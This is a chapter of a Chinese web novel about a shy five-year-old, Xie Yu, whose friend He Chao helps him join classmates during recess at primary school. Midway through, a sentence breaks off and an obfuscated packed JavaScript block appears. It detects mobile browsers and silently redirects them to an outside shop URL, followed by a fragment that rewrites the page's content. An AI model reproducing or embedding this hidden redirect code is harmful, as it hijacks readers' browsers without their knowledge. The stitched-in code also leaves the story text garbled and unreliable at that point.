九月二号,开学的第二天。
天刚蒙蒙亮,巷子里的动静就慢慢响起来。家家户户的木门吱呀推开,混着洗漱的水声,大人低声的叮嘱,还有小孩拖拉着鞋子走路的哒哒声响。夜里残留的一点点凉意,被缓缓升起的朝阳一点点烘散,新一天的暑气,又慢慢漫了上来。
谢俞醒得很早。
窗外的天色只是浅浅泛开一层灰白,他就已经睁开眼睛。小小的身子躺在硬板床上,睁着眼望着天花板,没有再睡回去。
昨天第一天上课的记忆还清清楚楚地搁在心底。满教室陌生的面孔,此起彼伏的喧闹,一道道时不时落在自己身上打量的目光。他是整个一年级一班年纪最小的孩子,才刚满五岁,个子比周遭同学矮上一大截,很多课堂上的规矩,他还没有完全摸熟。
心里是藏着怯的。
他不擅长主动凑上去和别人搭话,不知道该怎么融入这群大多六七岁的孩子中间。受了委屈习惯往心里咽,不会吵也不会闹,只会安安静静缩在自己的位置上。
床上坐起身,薄薄的被单滑落到腰际。屋子里安安静静,家里的大人早早出门做工,餐桌上留下一碗凉掉的稀粥,还有半块白面馒头。
谢俞穿上洗得柔软的浅灰色短袖,把昨天的课本、铅笔仔细塞进那只旧布包。布包边角有几处小小的磨损,洗得干干净净。简单吃完早饭,背上布包,走出家门。
巷口老槐树底下,贺朝已经等在那里。
六岁的少年背着崭新的蓝色书包,裤脚卷了一小截,脚上踩着一双塑胶凉鞋。看见谢俞走过来,他立刻挥了挥手。
“来得挺早。”
贺朝几步迎上来,目光落在谢俞脸上。少年人的观察力很细,一眼就看出来谢俞情绪沉沉的,眉眼间带着一点放不开的拘谨。
“昨天上课,有没有人找你麻烦?”贺朝开口问道。
谢俞轻轻摇了摇头,指尖攥紧布包的背带。
“没有。”
倒没有人刻意欺负他,可那种融不进去的疏离感,沉甸甸压在心口。下课铃一响,班里的孩子一窝蜂涌出教室,跑向走廊和操场,打打闹闹,嬉笑叫喊。只有他,安安静静坐在自己的座位上,不知道该往哪里去,也不知道该上前和谁说话。
两个人并肩踏上通往学校的青石板小路。清晨的阳光斜斜洒下来,落在石板路面,把两个小小的影子拉得很长。一路上不断碰见同去上学的孩童,三三两两凑在一块,说说笑笑。
谢俞走在贺朝身侧,很少开口,大多时候只是听着贺朝絮絮叨叨讲些零碎的小事。
走到学校大门口,值班老师站在铁门两边,陆陆续续收纳涌进来的学生。校园里广播已经响起,轻快的乐曲回荡在整座校园。
踏进一年级一班的教室。
这会儿来的人还不算特别多,只有一小半学生已经坐到座位上。教室里零零碎碎的说话声,椅子拖动地面的摩擦声,交织在一起。
贺朝径直走到昨天的位置,侧身坐回自己的课桌。谢俞跟着钻到里边的座位,把布包放进桌肚,双手平平整整摆在桌面上。
他坐得很端正,脊背绷得微微发紧。目光垂下来,落在桌面上木纹的缝隙里,不去四处张望。
陆陆续续,班上的同学一个个赶来。喧闹声一点点涨起来。
周遭的孩子大多互相认识,有的是同一个院子长大,有的是幼儿园的旧相识。放下书包,便立刻凑到一起,脑袋挨在一起,叽叽喳喳聊个不停。讲新的橡皮,讲新买的弹珠,讲昨天晚上看的动画片。笑声一阵一阵,落在谢俞耳朵里。
谢俞就安安静静坐在椅子上,看着周围一群人热热闹闹。他心里也隐隐有一丝向往,却鼓不起勇气主动上前。陌生的人,陌生的话题,他不知道该怎么开口,害怕自己搭话之后,得到的是冷淡的回应。那份害羞和怯懦,牢牢把他困在座位上。
上课铃叮铃铃响起来。
班主任拿着教案走进教室,喧闹瞬间收敛下去。
一上午的课程排得满满当当。语文、数学,还有一节图画课。
谢俞年纪太小,有些内容听得似懂非懂。他坐得笔直,认认真真盯着黑板,小手握着短短的铅笔,尽力跟着老师的指令,在本子上歪歪扭扭写下简单的笔画。遇到听不懂的地方,也不会举手发问,只是默默记在心里。
偶尔旁边的贺朝会悄悄侧过头,用胳膊肘轻轻碰一碰他。递过来一张小小的纸条,上面画着歪歪扭扭的小人。谢俞看见,嘴角会极淡地往上扬一下,又飞快压下去。
一上午的时光就这样慢慢耗过去。
终于,上午最后一节课下课铃轰然响起。
这是中午大课间,休息时间很长,可以跑到操场上面自由玩耍。
铃声一响,教室里瞬间炸开。椅子被哗啦啦拖开,孩子们欢呼着,成群结队往外冲。一窝蜂涌向走廊,涌向楼下的操场。
转瞬之间,教室里大半座位就空了。
跑出去的孩子叫喊声隔着窗户传进来,遥远又热闹。
谢俞依旧坐在自己的位置上,没有动身。
他抬起眼,望向教室门口。别的小朋友呼朋引伴,两两结伴,开开心心往外跑。可他的脚像被钉在椅子上面,迟迟站不起来。心里想去玩,可一想到要主动去掺和进别人的圈子,脸颊就悄悄发烫,害羞的情绪裹住四肢。
他索性低下头,伸手扒拉桌肚里的课本,假装自己有事要做。指尖翻着书页,目光却没有真正落在文字上面。
贺朝收拾好自己的东西,转头看向身旁一动不动的谢俞。
整个教室稀稀拉拉剩下没几个人。
“怎么不出去?”贺朝问他。
谢俞指尖捏着书页的边角,薄薄的纸页被捏出褶皱。他垂着眼,耳尖泛出一层淡淡的红。
“我……不知道找谁。”
声音压得很低,几乎快要被外面操场的喧闹盖过去。
这是他心里真实的为难。大家都已经有自己的玩伴,他像是一个多余的外人,贸然凑过去,会显得很突兀。五岁的小孩,不懂该怎样撬开陌生的隔阂。
贺朝看着他这副局促腼腆的模样,心里明白了七八分。谢俞性子冷,脸皮薄,叫他主动去找别的小孩搭话,实在太难为他。
“走,我带你过去。”
贺朝直接站起身,伸手,轻轻扯了扯谢俞的袖口。
谢俞愣了愣,抬眼看向贺朝。漆黑的眼眸里面带着一点迟疑。
“不用你自己开口,跟着我就行。”贺朝看懂了他的顾虑,语气放得很平和,“有我在。”
谢俞犹豫几秒,才慢慢从椅子上站起身。小小的个子,站在课桌边,显得格外单薄。他攥紧自己的衣角,跟在贺朝身后,一步一步走出教室。
走廊上到处都是奔跑嬉闹的孩子,脚步声咚咚响。阳光从走廊外侧照进来,在地面铺出一块块明亮的光斑。
楼下操场更加热闹。大片的空地上,一群一群的孩子分散开来。有的追逐跑跳,有的蹲在地上玩弹珠,还有的凑在一起丢沙包。欢声笑语沸反盈天。
贺朝熟门熟路,朝着操场一角的小团体走过去。那几个男孩子,是昨天课间他已经认识的同班同学。
三四个男孩正蹲在香樟树下的泥地上,脑袋凑成一团,兴致勃勃玩弹珠。玻璃弹珠在泥土上面滚来滚去,折射出亮晶晶的光。
贺朝带着谢俞,停在这群人身后。
谢俞下意识往贺朝身后缩了小半步,半个身子藏在贺朝的后背,脸颊热热的,目光落在地面,不敢抬头直视陌生的同龄人。心里七上八下,紧张得手心微微冒出薄汗。
贺朝完全没有把他推到前面,自己向前踏出一步,主动开口搭话。
“你们玩弹珠呢?”
几个男孩听见声音,纷纷抬起脑袋。
“贺朝,要不要过来一起。”其中一个圆脸男孩扬了扬手里的玻璃珠子。
“我带了我同桌过来。”贺朝往旁边侧开身子,把躲在身后的谢俞露出来一点,“他叫谢俞,跟我们一个班。”
所有男孩的目光,一下子全都落到谢俞身上。
被好几道视线同时盯住,谢俞浑身都不自在。睫毛飞快地颤动几下,脑袋垂得更低,嘴唇抿得紧紧的,一句话也说不出口。害羞裹挟着窘迫,席卷全身。他很想转身躲开,可是脚步钉在原地。
“他怎么这么小?”有个男孩小声嘀咕,“看着比我们矮一大截。”
“他家大人上班没人照看,提前来上一年级的。”贺朝大大方方替谢俞解释,“他人挺好的,就是话少。带上他一块玩呗。”
贺朝没有强迫谢俞说话,所有的寒暄、介绍,全部由他来完成。替谢俞挡掉了最难开口的那一道坎。
圆脸男孩打量了谢俞两眼,看他安安静静,也不闹腾,便点了点头。
“行吧,过来。”
贺朝回过头,看向身后紧绷的谢俞,朝他轻轻递了一个眼神,示意他不用害怕。
谢俞迟疑着,一小步一小步往前挪,走到蹲坐的人群边上,也慢慢蹲下来。膝盖抵着粗糙的泥土地面,凉鞋底下沾到一点点细碎沙土。
地上散落着花花绿绿的玻璃弹珠,在阳光底下闪闪发亮。
别的孩子自顾自继续游戏,滚动弹珠,发出清脆的碰撞声响。谢俞蹲在最外围,没有参与进去,只是安安静静看着别人玩。他依旧不好意思伸手,也不知道该怎么加入这场游戏。
贺朝蹲在他的旁边。一边跟着大伙玩弹珠,一边时不时会顾及身旁的谢俞。打出去一颗弹珠之后,就会悄悄把滚到自己手边一颗颜色好看的透明弹珠,推到谢俞的脚边。
“你也来试试。”贺朝低声对他说。
谢俞低头看着脚边那颗冰凉的玻璃珠子,指尖犹豫许久,才慢慢伸出去,捡起来握在手心。弹珠圆圆的,滑溜溜的,带着被太阳晒过的温度。
他学着旁人的样子,把弹珠搁在地面的泥坑边缘,手指微微弯曲,轻轻一弹。
珠子滚出去没多远,歪歪扭扭拐了个弯,停在了半路。
没有打中任何人的珠子。
谢俞也不觉得失落,只是安安静静望着那颗停住的弹珠。
旁边的男孩们,心思大多都放在互相较量弹珠上面,没有过多留意这个沉默寡言的小个子。偶尔有一两句闲聊,贺朝也会顺势把谢俞捎带上,不让他彻底被晾在角落。
风穿过香樟树茂密的枝叶,树叶沙沙作响。阳光透过叶隙落下来,在地上投下斑驳晃动的影子。
谢俞手心攥着弹珠,蹲在泥土地上。一开始那股浑身紧绷的紧张,在贺朝的兜底陪伴之下,慢慢松缓下来。虽然依旧说不出什么话,很少主动搭腔,但不再像方才那样,满心都是想要逃离的念头。
他可以安安静静待在这群人中间,不必强迫自己变得活泼喧闹。
可小孩子的玩闹,总是变幻无常。
没过多久,玩弹珠的游戏结束。有几个男孩觉得玩腻了,呼啦啦站起身,打算跑去操场另一边追逐赛跑。
“走,我们去抓人!”
一群人呼朋唤友,一哄而散,朝着远处的跑道冲过去。
刚刚凑起来的小圈子,转瞬就散开。
原地,只剩下贺朝,还有谢俞两个人,依旧蹲在香樟树下。地上散落着几颗被遗弃的弹珠。
喧闹的人群已经跑远,脚步声、叫喊声飘向远方。
刚刚那一点点好不容易融进去的暖意,仿佛跟着人群一起抽离。谢俞捏着手心里的弹珠,刚刚放松下来的肩膀,又悄悄绷紧。
他心里清楚,要是没有贺朝牵线,自己根本不可能短暂融入他们。一旦这群人散开,他依旧是那个不知道该往何处去的小孩。
贺朝站起身,拍了拍裤子上沾到的泥土,低头看向还蹲在地上的谢俞。
“不想去跑抓人吗?”
谢俞慢慢摇了摇头。追逐奔跑的游戏,要大喊大叫,要四处疯跑,那不是他擅长的。
贺朝也不勉强他。
“那我们换别的。”
他四处扫了一圈,看见操场围墙的墙根底下,长着一大丛狗尾巴草。细长的草穗,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903653|212990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
风里面轻轻摇晃。
贺朝拉了一把谢俞的胳膊,把他从地上拽起来。
“走,去摘狗尾巴草。”
两个人走到围墙边。
墙根的泥土松软,一大片狗尾巴草长得蓬蓬勃勃。贺朝弯下腰,伸手一把一把摘下毛茸茸的草穗。浅绿色的穗子,毛茸茸蹭在指尖。
他摘了一大把,分出一半,塞到谢俞怀里。
谢俞抱着一束软软的狗尾巴草,指尖碰过蓬松的草穗,心里那份闷闷的害羞,淡了不少。
“可以编小兔子。”贺朝一边说,手指灵活地翻折草茎。细长的狗尾巴草在他手里绕来绕去,慢慢扭出小小的耳朵轮廓。
谢俞捧着草,站在一旁看着他动手。自己也试着拿起一根,笨拙地弯折草秆。草茎很脆,稍一用力,咔嚓一声就折断。试了两次,都没能做出像样的造型。
他垂了垂眼,有一点挫败。
贺朝看见了,没有笑话他。直接把自己快要编好的小草兔子递过来。
“给你。”
小小的草编兔子,耳朵翘起来,模样简简单单。
谢俞伸手接过来,捧在手心。毛茸茸的草穗蹭过指尖,带着阳光和泥土独有的清浅气息。
操场上别的孩子依旧在远处疯跑,叫喊声此起彼伏。而围墙角落这一小块地方,只有他们两个人。不用强行挤进陌生的群体,不用逼着自己说很多话。
谢俞捧着草兔子,安安静静站在贺朝身侧。
他还是那个内向害羞,很难主动和别人打成一片的五岁小孩。不会因为短短一个课间,就一下子变得外向开朗。但是至少,他不再是孤零零一个人守在空荡荡的课桌边。
大课间的时间过得很快。校园的广播铃声再度响起,提醒所有人返回教室。
远处奔跑打闹的孩子,恋恋不舍地往教学楼的方向折返。
贺朝拍干净裤腿上的草屑泥土。
“回教室了。”
谢俞小心翼翼攥好手里那只狗尾巴草小兔子,舍不得弄坏。跟着贺朝,顺着走廊,走回一年级一班。
回到座位坐下。谢俞把草兔子轻轻放进桌肚的角落,妥帖安放,怕被书本压坏。
刚坐回位置,班上的同学陆陆续续涌回教室。吵吵嚷嚷,各自回味课间玩耍的趣事。
方才一起玩弹珠的圆脸男孩,经过他们课桌的时候,还朝贺朝扬了扬手。目光掠过谢俞,也随口冲他点了一下脑袋,算是打过招呼。
就这么一个简单的小动作,谢俞的心,轻轻颤了一下。
这是来到这个班级之后,除了贺朝之外,第一个同龄人主动对他示意。
他微微愣神,反应过来,才很轻很轻,对着对方点了点头。脸颊又泛起一层淡淡的热意,飞快低下头,看向桌面。
贺朝坐在旁边,将这一幕尽收眼底,嘴角悄悄勾起一点浅浅的弧度。
下午的课程依旧按部就班。
课堂上抄写生字,练习简单的算术。窗外的太阳慢慢向西偏移,日光透过玻璃窗斜斜落进教室,在课桌上投下长长的光影。
谢俞依旧很少举手发言。老师点到他名字的时候,他会慌慌张张站起来,声音小小的,回答完问题,便飞快坐下,耳根一直泛红。
贺朝偶尔会在课桌底下,悄悄碰一碰他的手背,无声地安抚他。
熬完下午最后一节课,放学铃声终于响彻整座校园。
孩子们哗啦一下全部活跃起来,收拾书包,椅子拖动地面的声响连绵不绝。大家三三两两,互相约着放学路上要做的事,说说笑笑往教室外走。
谢俞把课本一样一样收拢,塞进那只旧布包,把桌肚里面那只狗尾巴草小兔子也小心拿出来,攥在手心里。
背上布包,跟着贺朝走出教室。
夕阳悬在教学楼的屋檐边上,把整片校园染成温暖的橘黄色。两个小小的身影,顺着人流走出学校大门,踏上回家的青石板小路。
路上不少同班的孩子,成群结队往同一个方向走。
贺朝走在外侧,谢俞靠里面。晚风卷着傍晚的热气,吹起两人额前细碎的头发。
“今天课间,玩得还可以吗。”贺朝侧过头问他。
谢俞的手指还攥着那只草编的小兔子,草穗已经有一点点蔫掉。他想了想,轻轻点了点头。
“嗯。”
若是没有贺朝带着他上前,今天整个大课间,他只会孤零零坐在空荡荡的教室里面,看着别人热闹。是贺朝替他跨过了最难开口的那道坎,不用他硬着头皮主动搭话,就把他带进玩伴的圈子。
他依旧害羞,依旧不习惯跟太多陌生人相处,不会一下子变得爱说爱笑。可至少,他不再完完全全被隔绝在人群之外。
“以后下课,要是想出去玩,不好意思去找他们,就喊我。”贺朝说得很干脆,“我陪你。”
谢俞抬眼望向身侧的少年。落日橘色的光铺在贺朝的侧脸,少年眉眼明亮。
谢俞的心里,像被温水慢慢浸过,软软的。他没有说出一大段感激的话语,只是把这句话默默记在了心底。薄薄的唇瓣,极淡地向上弯了一下,是一个几乎很难察觉的笑意。
一路踩着被夕阳晒得尚且温热的青石板,两个人慢慢走回巷口老槐树。
到了该分开的地方。
“明天依旧老时间,槐树底下见。”贺朝跟他确认。
“好。”谢俞应声。
两人就此分开。
谢俞攥着那只有点蔫掉的狗尾巴草小兔子,背着布包,独自走回自家屋子。推开家门,屋内依旧安安静静,大人还没有收工回家。
他把布包放在桌子上,将草编小兔子搁在窗台。傍晚的霞光落在毛茸茸的草穗上面。
今天没有发生什么惊天动地的大事。没有激烈的冲突,也没有盛大的欢喜。仅仅只是一个内向害羞的小孩,被另一个人牵着,试探着,轻轻往同龄人世界迈出小小的一步。
那一步迈得怯生生,带着满脸的局促与发烫的耳根,却实实在在,踏出去了。
——本章完——